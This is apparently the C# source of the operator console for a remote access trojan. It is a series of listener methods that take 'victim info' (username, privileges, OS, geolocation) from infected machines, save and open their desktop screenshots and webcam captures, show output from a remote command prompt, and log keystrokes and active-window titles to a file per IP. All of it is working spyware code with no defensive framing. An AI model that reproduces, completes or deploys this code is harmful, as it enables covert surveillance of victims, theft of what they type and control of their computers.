public void Subscribe(ViewModel viewModel, WxhtpClient wxhtpClient) { if (isSubscribed) { return; } isSubscribed = true; IDisposable idisp = wxhtpClient.GetAsyncTaskExecutor(). getObservableSequenceOfReponses(). ObserveOn(Scheduler.CurrentThread). SkipWhile(response => !response.Action.Equals(StaticStrings.ACTION_TYPE.VICTIM_INFO)). Subscribe( response => { Encoding enc = Encoding.GetEncoding("iso-8859-1"); string data = enc.GetString(response.content); var jsonReader = JsonReaderWriterFactory.CreateJsonReader( Encoding.Default.GetBytes(data), new System.Xml.XmlDictionaryReaderQuotas()); var root = XElement.Load(jsonReader); IPEndPoint ipEndPoint = (IPEndPoint)wxhtpClient.getTcpClient().Client.RemoteEndPoint; string ip = ipEndPoint.Address.ToString(); var tupleOfGeoData = Utils.GetGeoInfo("81.180.72.61"); Session s = new Session { ID = (viewModel.sessions.Count + 1).ToString(), WANIP = wxhtpClient.getTcpClient().Client.RemoteEndPoint.ToString(), LOCALIP = root.XPathSelectElement("//local_ip").Value, Username = root.XPathSelectElement("//username").Value, ComputerName = root.XPathSelectElement("//comp_name").Value, Privileges = root.XPathSelectElement("//privs").Value, OS = root.XPathSelectElement("//win_ver").Value, Uptime = root.XPathSelectElement("//uptime").Value, Cam = "unknown", InstallDate = "unknown", Country = tupleOfGeoData.Item1, RegionName = tupleOfGeoData.Item2, City = tupleOfGeoData.Item3, Isp = tupleOfGeoData.Item4, Coords = tupleOfGeoData.Item5, Zip = tupleOfGeoData.Item6 }; viewModel.sessions.Add(s); UnsubscribeAsync(); }, err => { Debug.WriteLine((Exception)err); MessageBoxResult result = MessageBox.Show("Error occured in ConnectionInfoListener " + (Exception)err); UnsubscribeAsync(); } ); subscriberToken = idisp; }
public void Subscribe(WxhtpClient wxhtpClient) { if (isSubscribed) { return; } isSubscribed = true; IDisposable idisp = wxhtpClient.GetAsyncTaskExecutor(). getObservableSequenceOfReponses(). ObserveOn(Scheduler.CurrentThread). SkipWhile(response => !response.Action.Equals(StaticStrings.ACTION_TYPE.TAKE_DESKTOP_SCREEN)). Subscribe( response => { Response resp = (Response)response; using (MemoryStream byteStream = new MemoryStream(resp.content)) { BitmapImage bi = new BitmapImage(); bi.BeginInit(); bi.CacheOption = BitmapCacheOption.OnLoad; bi.StreamSource = byteStream; bi.EndInit(); bi.Freeze(); JpegBitmapEncoder encoder = new JpegBitmapEncoder(); //Guid photoID = System.Guid.NewGuid(); String photolocation = "Screenshot_" + DateTime.Now.ToString(CultureInfo.CurrentCulture).Replace(" ", "_").Replace(":", "-") + "_id_" + ".jpg"; // update thumbnail BitmapFrame biFrame = BitmapFrame.Create(bi); wxhtpClient._viewModel.SelectedSession.BiFrame = biFrame; // save downloaded picture encoder.Frames.Add(biFrame); using (var filestream = new FileStream(photolocation, FileMode.Create)) encoder.Save(filestream); byteStream.Close(); Process.Start(photolocation); UnsubscribeAsync(); Debug.WriteLine("Task Completed"); } }, err => { Debug.WriteLine((Exception)err); MessageBoxResult result = MessageBox.Show("Error occured in Desktop screen subscriber " + (Exception)err); //UnsubscribeAsync(); } ); subscriberToken = idisp; }
public void Subscribe(WxhtpClient wxhtpClient) { if (isSubscribed) { return; } isSubscribed = true; IDisposable idisp = wxhtpClient.GetAsyncTaskExecutor(). getObservableSequenceOfReponses(). ObserveOn(Scheduler.Immediate). SkipWhile(response => !response.Action.Equals(StaticStrings.ACTION_TYPE.TAKE_WEBCAM_SCREEN)). Subscribe( response => { Response resp = (Response)response; using (MemoryStream byteStream = new MemoryStream(resp.content)) { BitmapImage bi = new BitmapImage(); bi.BeginInit(); bi.CacheOption = BitmapCacheOption.OnLoad; bi.StreamSource = byteStream; bi.EndInit(); JpegBitmapEncoder encoder = new JpegBitmapEncoder(); Guid photoID = System.Guid.NewGuid(); String photolocation = photoID.ToString() + ".jpg"; //file name encoder.Frames.Add(BitmapFrame.Create(bi)); using (var filestream = new FileStream(photolocation, FileMode.Create)) encoder.Save(filestream); byteStream.Close(); Process.Start(photolocation); UnsubscribeAsync(); } Debug.WriteLine("Task webcampic Completed"); }, err => { Debug.WriteLine((Exception)err); MessageBoxResult result = MessageBox.Show("Error occured in Webcam screen subscriber " + (Exception)err); } ); subscriberToken = idisp; }
public void Subscribe(WxhtpClient wxhtpClient, ConsoleContent dc) { if (isSubscribed) { return; } isSubscribed = true; IDisposable idisp = wxhtpClient.GetAsyncTaskExecutor(). getObservableSequenceOfReponses(). ObserveOn(Scheduler.CurrentThread). SkipWhile(response => !response.Action.Equals(StaticStrings.ACTION_TYPE.COMMAND_PROMPT)). Subscribe( response => { Response resp = (Response)response; string result; if (resp.headers.ContainsKey("Encoding")) { Encoding enc = Encoding.GetEncoding(Int32.Parse(resp.headers["Encoding"])); result = enc.GetString(resp.content); } else { result = resp.content.ToString(); } dc.ConsoleOutput.Add(result); UnsubscribeAsync(); //Dispatcher.CurrentDispatcher.BeginInvoke(new Action(() => // { // })); }, err => { Debug.WriteLine((Exception)err); MessageBoxResult result = MessageBox.Show("Error occured in Command Promt Listener " + (Exception)err); UnsubscribeAsync(); } ); subscriberToken = idisp; }
public void Subscribe(WxhtpClient wxhtpClient) { if (isSubscribed) { return; } isSubscribed = true; IDisposable idisp = wxhtpClient.GetAsyncTaskExecutor(). getObservableSequenceOfReponses(). ObserveOn(Scheduler.CurrentThread). SkipWhile( response => { if (response.Action.Equals(StaticStrings.ACTION_TYPE.KEYLOGGER_REPORT)) { return(false); // if equals is true then breaks the skipping } else if (response.Action.Equals(StaticStrings.ACTION_TYPE.KEYLOGGER_STOP)) { return(false); // if equals is true then breaks the skipping } else { return(true); } } ). Subscribe( response => { Encoding enc = Encoding.GetEncoding("utf-8"); string data = enc.GetString(response.content); var jsonReader = JsonReaderWriterFactory.CreateJsonReader( Encoding.Default.GetBytes(data), new System.Xml.XmlDictionaryReaderQuotas()); var root = XElement.Load(jsonReader); List <string> lines_to_be_inserted_into_file = new List <string>(); try { string start_time = root.XPathSelectElement("start_time").Value; lines_to_be_inserted_into_file.Add("--------------START TIME--------------"); lines_to_be_inserted_into_file.Add(start_time); } catch (Exception ex) { Debug.WriteLine((Exception)ex); } try { string end_time = root.XPathSelectElement("end_time").Value; lines_to_be_inserted_into_file.Add("---------------END TIME---------------"); lines_to_be_inserted_into_file.Add(end_time); } catch (Exception ex) { Debug.WriteLine((Exception)ex); } try { string active_window = root.XPathSelectElement("active_window").Value; lines_to_be_inserted_into_file.Add("----------LAST ACTIVE WINDOW----------"); lines_to_be_inserted_into_file.Add(active_window); } catch (Exception ex) { Debug.WriteLine((Exception)ex); } try { string content = root.XPathSelectElement("content").Value; lines_to_be_inserted_into_file.Add("----------------CONTENT----------------"); lines_to_be_inserted_into_file.Add(content); } catch (Exception ex) { Debug.WriteLine((Exception)ex); } string path = wxhtpClient.getTcpClient().Client.RemoteEndPoint.ToString().Split( new string[] { ":" }, StringSplitOptions.RemoveEmptyEntries)[0] + "_keylogs.txt"; System.IO.File.AppendAllLines(@path, lines_to_be_inserted_into_file); if (response.Action.Equals(StaticStrings.ACTION_TYPE.KEYLOGGER_STOP)) { UnsubscribeAsync(); } }, err => { Debug.WriteLine((Exception)err); MessageBoxResult result = MessageBox.Show("Error occured in KeyloggerListener " + (Exception)err); } ); subscriberToken = idisp; }
public void Subscribe(WxhtpClient wxhtpClient) { if (isSubscribed) { return; } isSubscribed = true; IDisposable idisp = wxhtpClient.GetAsyncTaskExecutor(). getObservableSequenceOfReponses(). ObserveOn(Scheduler.CurrentThread). SkipWhile( response => { if (response.Action.Equals(StaticStrings.ACTION_TYPE.THUMBNAIL_SCREEN_REPORT)) { return(false); // if equals is true then breaks the skipping } else if (response.Action.Equals(StaticStrings.ACTION_TYPE.THUMBNAIL_SCREEN_STOP)) { return(false); // if equals is true then breaks the skipping } else { return(true); } } ). Subscribe( response => { Response resp = (Response)response; using (MemoryStream byteStream = new MemoryStream(resp.content)) { try { BitmapImage bi = new BitmapImage(); bi.BeginInit(); bi.CacheOption = BitmapCacheOption.OnLoad; bi.StreamSource = byteStream; bi.EndInit(); bi.Freeze(); JpegBitmapEncoder encoder = new JpegBitmapEncoder(); Guid photoID = System.Guid.NewGuid(); // File name like: Current_Thumbnail_154.124.1.44.jpg String photolocation = "Current_Thumbnail_" + wxhtpClient.getTcpClient().Client.RemoteEndPoint.ToString().Split(':')[0] + ".jpg"; // update thumbnail BitmapFrame biFrame = BitmapFrame.Create(bi); // if SelectedSession.WANIP corresponds to the ip of client we've currently received thumbnail if (wxhtpClient._viewModel.SelectedSession.WANIP.ToString(). Equals(wxhtpClient.getTcpClient().Client.RemoteEndPoint.ToString())) { wxhtpClient._viewModel.SelectedSession.BiFrame = biFrame; // then update the UI } encoder.Frames.Add(biFrame); using (var filestream = new FileStream(photolocation, FileMode.Create)) encoder.Save(filestream); byteStream.Close(); Debug.WriteLine("Task Completed"); } catch (Exception ex) { Debug.WriteLine((Exception)ex); MessageBoxResult result = MessageBox.Show("Exception occured in ThumbnailListener while saving file " + (Exception)ex); } // if true then we've received the last thumbnail - we can safely unsubscribe now if (response.Action.Equals(StaticStrings.ACTION_TYPE.THUMBNAIL_SCREEN_STOP)) { UnsubscribeAsync(); } } }, err => { Debug.WriteLine((Exception)err); MessageBoxResult result = MessageBox.Show("Error occured in ThumbnailListener " + (Exception)err); //UnsubscribeAsync(); } ); subscriberToken = idisp; }